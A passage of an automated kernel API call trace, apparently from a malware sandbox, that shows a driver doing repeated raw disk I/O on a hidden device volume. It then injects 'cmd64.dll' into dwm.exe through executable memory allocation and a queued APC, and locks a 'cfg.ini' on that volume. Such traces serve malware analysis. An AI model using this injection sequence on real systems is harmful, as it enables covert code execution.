Event=0xfffff88002f9d1f0) [0089.368] IdePortDispatch () returned 0x103 [0089.368] KeWaitForMutexObject () returned 0x0 [0089.368] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.368] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.368] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.368] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.368] IdePortDispatch () returned 0x103 [0089.368] KeWaitForMutexObject () returned 0x0 [0089.368] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.368] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.368] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.368] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.368] IdePortDispatch () returned 0x103 [0089.368] KeWaitForMutexObject () returned 0x0 [0089.369] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.369] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.369] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.369] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.369] IdePortDispatch () returned 0x103 [0089.369] KeWaitForMutexObject () returned 0x0 [0089.369] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.369] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.369] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.369] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.369] IdePortDispatch () returned 0x103 [0089.369] KeWaitForMutexObject () returned 0x0 [0089.369] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.369] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.369] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.369] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.369] IdePortDispatch () returned 0x103 [0089.369] KeWaitForMutexObject () returned 0x0 [0089.369] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.369] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.369] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.370] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.370] IdePortDispatch () returned 0x103 [0089.370] KeWaitForMutexObject () returned 0x0 [0089.370] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.370] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.370] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.370] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.370] IdePortDispatch () returned 0x103 [0089.370] KeWaitForMutexObject () returned 0x0 [0089.370] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.370] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.370] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.370] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.370] IdePortDispatch () returned 0x103 [0089.370] KeWaitForMutexObject () returned 0x0 [0089.370] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.370] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.370] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.370] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.370] IdePortDispatch () returned 0x103 [0089.370] KeWaitForMutexObject () returned 0x0 [0089.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.371] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.371] IdePortDispatch () returned 0x103 [0089.371] KeWaitForMutexObject () returned 0x0 [0089.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.371] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.371] IdePortDispatch () returned 0x103 [0089.371] KeWaitForMutexObject () returned 0x0 [0089.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.371] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.371] IdePortDispatch () returned 0x103 [0089.371] KeWaitForMutexObject () returned 0x0 [0089.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.371] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.372] IdePortDispatch () returned 0x103 [0089.372] KeWaitForMutexObject () returned 0x0 [0089.372] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.372] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.372] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.372] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.372] IdePortDispatch () returned 0x103 [0089.372] KeWaitForMutexObject () returned 0x0 [0089.372] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.372] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.372] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.372] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.372] IdePortDispatch () returned 0x103 [0089.372] KeWaitForMutexObject () returned 0x0 [0089.372] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.372] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.372] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.372] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.372] IdePortDispatch () returned 0x103 [0089.372] KeWaitForMutexObject () returned 0x0 [0089.373] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.373] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.373] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.373] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.373] IdePortDispatch () returned 0x103 [0089.373] KeWaitForMutexObject () returned 0x0 [0089.373] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.374] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.374] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.374] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.374] IdePortDispatch () returned 0x103 [0089.374] KeWaitForMutexObject () returned 0x0 [0089.374] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.374] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.374] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.374] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.374] IdePortDispatch () returned 0x103 [0089.374] KeWaitForMutexObject () returned 0x0 [0089.374] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.374] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.374] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.374] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.374] IdePortDispatch () returned 0x103 [0089.374] KeWaitForMutexObject () returned 0x0 [0089.374] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.374] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.374] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.374] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.374] IdePortDispatch () returned 0x103 [0089.375] KeWaitForMutexObject () returned 0x0 [0089.375] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.375] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.375] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.375] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.375] IdePortDispatch () returned 0x103 [0089.375] KeWaitForMutexObject () returned 0x0 [0089.375] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.375] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.375] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.375] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.375] IdePortDispatch () returned 0x103 [0089.375] KeWaitForMutexObject () returned 0x0 [0089.375] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.375] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.375] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.375] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.375] IdePortDispatch () returned 0x103 [0089.376] KeWaitForMutexObject () returned 0x0 [0089.376] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.376] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.376] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.376] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.376] IdePortDispatch () returned 0x103 [0089.376] KeWaitForMutexObject () returned 0x0 [0089.376] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.376] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.376] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.376] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.376] IdePortDispatch () returned 0x103 [0089.376] KeWaitForMutexObject () returned 0x0 [0089.376] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.376] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.376] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.376] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.376] IdePortDispatch () returned 0x103 [0089.376] KeWaitForMutexObject () returned 0x0 [0089.376] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.376] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.376] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.376] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.376] IdePortDispatch () returned 0x103 [0089.377] KeWaitForMutexObject () returned 0x0 [0089.377] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.377] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.377] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.377] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0089.377] IdePortDispatch () returned 0x103 [0089.377] KeWaitForMutexObject () returned 0x0 [0089.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.377] KeLeaveCriticalRegion () [0089.377] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0089.377] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004cc, BaseAddress=0xfffff88002f9dae0, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae0*=0x10000, RegionSize=0xfffff88002f9d9f0*=0x14000) returned 0x0 [0089.377] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0089.377] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f9dad8 | out: Size=0xfffff88002f9dad8) returned 0x0 [0089.377] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004cc, BaseAddress=0xfffff88002f9dae8, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae8*=0x50000, RegionSize=0xfffff88002f9d9f8*=0x1000) returned 0x0 [0089.377] _snprintf (in: _Dest=0x50020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0089.377] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa800373e9a0 [0089.377] KeInitializeApc (Apc=0xfffffa800373e9a0, Thread=0xfffffa80037f23c0, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x50128, Mode=0xfffff88000000001, Context=0x50000) [0089.377] KeInsertQueueApc (Apc=0xfffffa800373e9a0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0089.377] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0089.378] ZwClose (Handle=0x14) returned 0x0 [0089.378] ZwClose (Handle=0xffffffff800004bc) returned 0x0 [0089.378] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0089.378] KeEnterCriticalRegion () [0089.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.378] IoGetRequestorProcess (Irp=0xfffffa80037c7bb0) returned 0xfffffa80018ab040 [0089.378] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa800380c4f0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0089.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.378] KeLeaveCriticalRegion () [0089.378] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0089.378] KeUnstackDetachProcess (ApcState=0xfffff88002f9da58) [0089.378] PsGetProcessImageFileName () returned 0xfffffa800380b910 [0089.378] _snprintf (in: _Dest=0xfffffa800380dac8, _Count=0x103, _Format="%s (x64)" | out: _Dest="dwm.exe (x64)") returned 13 [0089.378] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0089.378] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800004bc, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0089.378] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.378] KeEnterCriticalRegion () [0089.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.378] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.378] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.378] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.378] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0089.378] IdePortDispatch () returned 0x103 [0089.378] KeWaitForMutexObject () returned 0x0 [0089.378] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0089.378] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0089.378] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0089.378] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0089.378] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037395f0 [0089.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.378] KeLeaveCriticalRegion () [0089.378] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0089.378] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0089.379] NtLockFile (in: FileHandle=0xffffffff800004bc, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0089.379] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.379] KeEnterCriticalRegion () [0089.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.379] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80037c7bb0, Context=0x0) returned 0x0 [0089.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.379] KeLeaveCriticalRegion () [0089.379] ZwQueryInformationFile (in: FileHandle=0xffffffff800004bc, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0089.379] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.379] KeEnterCriticalRegion () [0089.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.379] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0089.379] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0089.379] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0089.379] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0089.379] 